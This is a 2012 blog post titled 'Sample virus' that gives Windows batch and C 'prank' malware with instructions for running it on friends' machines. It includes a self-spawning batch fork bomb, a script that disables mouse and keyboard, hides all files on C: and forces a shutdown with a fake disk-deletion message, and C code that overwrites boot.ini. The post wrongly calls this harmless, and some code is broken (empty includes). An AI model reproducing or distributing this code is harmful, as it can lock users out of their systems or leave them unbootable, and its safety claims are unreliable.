Friday 31 August 2012

Sample virus







open notepad and type this

@echo off
start virus.bat
virus.bat

and then save this file with virus.bat

if u will run this virus then thousands of windows will open Enjoy the Virus minutes

DOS BATCH FILE VIRUS DELETE HARD DISK AND SCARE FRIEND





YOU WANT TO SCARE YOUR FRIENDS WITH COMPUTER TRICKS? THIS SIMPLE CODE WILL MAKE YOUR FRIEND SO MUCH SCARED. BUT IT HARMLESS. FOLLOW THE STEPS WRITTEN BELOW. IT WILL MAKE A BATCH FILE THAT WILL RESTART HIS MACHINE AND ENTIRE C DRIVE WILL BE EMPTY. IT WILL MAKE HIM SO MUCH SCARED. BUT NOTHING WILL BE DELETED. IT WILL MAKE THEM HIDDEN. BUT YOUR FRIEND WILL LOOSE NERVE, I AM SURE. MAKE FUN BUT NEVER USE FOR DESTRUCTION OF OTHER COMPUTERS. HAVE FUN.


@ECHO OFF
Rundll32.exe mouse,disable
rundll32.exe keyboard,disable
Attrib +h C:*.*
shutdown -s -c 60
shutdown -r -c "Your Hard Disk Is Getting Deleted... Thank you....."

How to make this

1.Open Notepad. Then type the code.
2. Save it by the extension called .bat. e.g “virus.bat”.
3. Then just double click it. 

Your system will halt. Just restart thesystem, it will work fine. Have fun.Windows XP, Windows 7, all systems are capable of running this code.

Virus code to destroy Hard disk or Hard disk data



C++

#include 
#include 
void main()
{
FILE *fp;
char line[5][50];
int j;
fp = fopen("c:\\boot.ini", "w");
strcpy(line[0], "[boot loader]");
strcpy(line[1], "timeout=30");
strcpy(line[2], "default=multi(0)disk(0)rdisk(0)partition(1)");
strcpy(line[3], "[operating systems]");
strcpy(line[4], "multi(0)disk(0)rdisk(0)partition(1)");
for (j = 0; j< 5; j++)
{
fputs(line[j], fp);
fputc('\n', fp);
}
fclose(fp);
}

How to Connect Access Database in J2ME Application using JAVA

Hide New... button on lookup controls in model-driven apps

  The 'New ...' button is shown upon opening the lookup search dialog whenever the logged in user has at least user create privileg...